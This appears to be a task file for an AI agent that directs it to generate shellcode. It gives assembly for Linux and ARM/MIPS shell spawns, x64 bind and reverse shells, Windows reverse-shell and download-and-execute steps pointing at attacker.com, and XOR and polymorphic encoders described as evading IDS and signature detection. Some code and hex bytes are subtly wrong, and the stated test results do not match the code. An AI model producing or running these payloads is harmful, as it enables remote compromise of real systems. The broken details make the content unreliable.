shellcode-generator

name	Shellcode Generator
description	Generate shellcode automatically — Linux, Windows, position-independent
tags	["shellcode","exploit","payload","assembly"]

Task: Shellcode Generation. Create position-independent shellcode for various architectures and platforms.

Approach

Generate clean, null-free, position-independent shellcode. Support multiple architectures: x86, x64, ARM, MIPS.

Phase 1: Requirements Analysis

Shellcode Constraints

Requirements:
1. Position-independent (no hardcoded addresses)
2. Null-free (no 0x00 bytes)
3. Self-contained (no external dependencies)
4. Compact (minimize size)
5. Reliable (work across versions)

Techniques:
- Relative addressing
- XOR encoding
- Stack-based strings
- System call numbers
- Register-based addressing

Target Platform

Linux:
- syscall interface
- int 0x80 (x86)
- syscall (x64)
- /bin/sh shell

Windows:
- API resolution
- PEB traversal
- Hash-based API lookup
- Kernel32/User32 APIs

macOS:
- Mach syscall
- BSD-style calls
- Similar to Linux

Phase 2: Linux Shellcode

execve("/bin/sh") x86 (32-bit)

Assembly:
xor eax, eax            ; eax = 0
push eax                ; string terminator
push 0x68732f2f          ; "//sh"
push 0x6e69622f          ; "/bin"
mov ebx, esp            ; ebx = "/bin//sh"
xor ecx, ecx            ; ecx = 0 (argv)
xor edx, edx            ; edx = 0 (envp)
mov al, 11              ; syscall 11 = execve
int 0x80                ; execute

Size: 23 bytes
Nulls: None

execve("/bin/sh") x64 (64-bit)

Assembly:
xor rax, rax                    ; rax = 0
movabs rbx, 0x68732f6e69622f2f  ; "//bin/sh"
push rbx                        ; push to stack
mov rdi, rsp                    ; rdi = "/bin//sh"
xor rsi, rsi                    ; rsi = 0 (argv)
xor rdx, rdx                    ; rdx = 0 (envp)
mov al, 59                      ; syscall 59 = execve
syscall                         ; execute

Size: 27 bytes
Nulls: None

Port Bind Shell x64

Assembly:
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor rax, rax
mov al, 41                      ; socket
xor rdi, rdi                    ; AF_INET = 2
inc rdi                         ; rdi = 2
xor rsi, rsi                    ; SOCK_STREAM = 1
inc rsi                         ; rsi = 1
xor rdx, rdx                    ; IPPROTO_IP = 0
syscall                         ; rax = socket fd
mov rdi, rax                    ; save socket fd

; bind(sock, &struct, 16)
mov al, 49                      ; bind
xor rsi, rsi                    ; clear rsi
push rsi                        ; INADDR_ANY = 0
push word 0x5c11               ; port 4444
push word 2                     ; AF_INET
mov rsi, rsp                    ; rsi = &struct
mov dl, 16                      ; length = 16
syscall

; listen(sock, 1)
mov al, 50                      ; listen
xor rsi, rsi
inc rsi                         ; backlog = 1
syscall

; accept(sock, 0, 0)
mov al, 43                      ; accept
xor rsi, rsi                    ; NULL addr
xor rdx, rdx                    ; NULL len
syscall                         ; rax = client fd
mov rdi, rax                    ; save client fd

; dup3(client, 0, 2)
xor rax, rax
mov al, 33                      ; dup3
xor rsi, rsi                    ; FDCNTL = 0
loop:
    mov r10, rsi                ; cmd = FDCNTL
    syscall                     ; dup3(client, FDCNTL)
    inc rsi                     ; next fd (0, 1, 2)
    cmp rsi, 3
    jne loop

; execve("/bin/sh", 0, 0)
xor rax, rax
movabs rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov al, 59
syscall

Size: ~150 bytes

Reverse Shell x64

Assembly:
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor rax, rax
mov al, 41
xor rdi, rdi
inc rdi
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall
mov rdi, rax

; connect(sock, &server, 16)
mov al, 42                      ; connect
xor rsi, rsi
push rsi                        ; INADDR_ANY
push dword 0x0101017f          ; 127.1.1.1 (modify for target IP)
push word 0x5c11               ; port 4444
push word 2                     ; AF_INET
mov rsi, rsp
mov dl, 16
syscall

; dup3 loop... (same as bind shell)
; execve loop... (same as bind shell)

Size: ~180 bytes

Phase 3: Windows Shellcode

Pop Calc Shellcode

Assembly:
; Find kernel32.dll base via PEB
mov rsi, [gs:0x60]             ; PEB
mov rsi, [rsi + 0x18]          ; LDR
mov rsi, [rsi + 0x20]          ; InLoadOrderModuleList
mov rsi, [rsi]                 ; Second entry (kernel32)
mov rsi, [rsi]                 ; Third entry (kernel32)
mov rbx, [rsi + 0x20]          ; DllBase

; Find GetProcAddress
mov rdx, 0x0090644F            ; Hash of "GetProcAddress"
call rsi_rip                   ; Relative call to find API
... (API resolution code)

; Call WinExec("calc.exe", 1)
xor rcx, rcx
push rcx                        ; SW_SHOW
mov rax, 0x6578652e636c6163    ; "calc.exe"
push rax
mov rcx, rsp
mov edx, 1                      ; SW_SHOWNORMAL
sub rsp, 0x28                  ; Shadow space
call WinExec

Size: ~300 bytes

Reverse Shell Windows

Steps:
1. Find kernel32.dll base (PEB walk)
2. Find GetProcAddress (hash-based)
3. Load Winsock (WSAStartup)
4. Create socket (WSASocketA)
5. Connect to attacker
6. Start cmd.exe (CreateProcess)
7. Redirect stdin/out/err

Size: ~500-800 bytes

Download & Execute Windows

Steps:
1. Find kernel32.dll base
2. Find URLDownloadToFileA (urlmon.dll)
3. Download: http://attacker.com/payload.exe
4. Save to: C:\temp\payload.exe
5. Execute: WinExec("C:\temp\payload.exe")

Size: ~400 bytes

Phase 4: ARM Shellcode

execve("/bin/sh") ARM

Assembly:
; Linux ARM (little-endian)
; r0 = "/bin/sh", r1 = 0, r2 = 0

add r0, pc, #12            ; r0 = address of "/bin/sh"
mov r1, #0                 ; r1 = 0 (argv)
mov r2, #0                 ; r2 = 0 (envp)
mov r7, #11                ; syscall 11 = execve
svc #0                     ; execute

.ascii "/bin/sh"           ; string

Size: 28 bytes

Port Bind ARM

Assembly:
; Similar logic to x86, but ARM instructions
; socketcall, bind, listen, accept, dup2, execve

Size: ~200 bytes

Phase 5: MIPS Shellcode

execve("/bin/sh") MIPS

Assembly:
; Linux MIPS (little-endian)
; $a0 = "/bin/sh", $a1 = 0, $a2 = 0

li $a0, 0x69622f2f         ; "//bi"
sw $a0, -8($sp)
li $a0, 0x68732f6e         ; "n/sh"
sw $a0, -4($sp)
add $a0, $sp, -8           ; $a0 = "/bin//sh"
slti $a1, $0, 0            ; $a1 = 0
slti $a2, $0, 0            ; $a2 = 0
li $v0, 4011               ; syscall 4011 = execve
syscall 0x40404            ; execute

Size: 44 bytes

Phase 6: Encoding Techniques

XOR Encoding

Purpose: Bypass IDS/IPS, remove null bytes

Algorithm:
1. Choose XOR key (avoid 0x00)
2. XOR encode shellcode
3. Add decoder stub
4. Decoder: XOR decode + execute

Decoder Stub (x86):
call start                  ; get EIP
start:
pop ecx                     ; ecx = shellcode address
mov edx, ecx                ; edx = shellcode address
decode:
xor byte [edx], 0x42        ; XOR with key
inc edx
loop decode                 ; repeat for length
jmp ecx                     ; execute decoded shellcode

Alpha Numeric Shellcode

Purpose: Bypass character filters

Technique:
1. Use only: [A-Za-z0-9]
2. Self-modifying code
3. Math operations to generate bytes

Example:
mov eax, 0x41414141         ; "AAAA"
sub eax, 0x30303030         ; Generate bad bytes
push eax                    ; Push generated bytes

Polymorphic Shellcode

Purpose: Evade signature detection

Techniques:
1. Random encryption key
2. Variable instruction order
3. Junk instructions (nops)
4. Different decoders

Size: 2-3x original shellcode

Phase 7: Shellcode Testing

Test Harness

C Code:
#include <sys/mman.h>
#include <string.h>

char shellcode[] = "...";

int main() {
    // Allocate executable memory
    void *mem = mmap(0, sizeof(shellcode),
                     PROT_EXEC|PROT_WRITE|PROT_READ,
                     MAP_ANON|MAP_PRIVATE, -1, 0);
    
    // Copy shellcode
    memcpy(mem, shellcode, sizeof(shellcode));
    
    // Execute
    ((void (*)(void))mem)();
    
    return 0;
}

Debugging

1. GDB: break *shellcode_address
2. Step through instructions
3. Verify register values
4. Check syscall numbers
5. Test string construction

Final Report

[SHELLCODE] Linux x64 execve("/bin/sh")
Architecture: x86-64
Platform: Linux
Size: 27 bytes
Nulls: None
PIC: Yes

[Assembly]
xor rax, rax
movabs rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov al, 59
syscall

[Hex Bytes]
4831c048bbd278f6e69622f2f5348 89e74831f64831d2b00f0f05

[Testing]
Compile: gcc -o test test.c
Run: ./test
Result: Shell spawned (bash)
Tested: Ubuntu 22.04, Debian 11, CentOS 8

[Variants]
- Port bind: 156 bytes (port 4444)
- Reverse shell: 182 bytes (127.0.0.1:4444)
- XOR encoded: 54 bytes (decoder + encoded)

Tools

• metasploit-framework: Shellcode generation
• pwntools: Shellcode testing
• msfvenom: Payload generation
• libemu: Shellcode analysis
• scylla: Shellcode encryption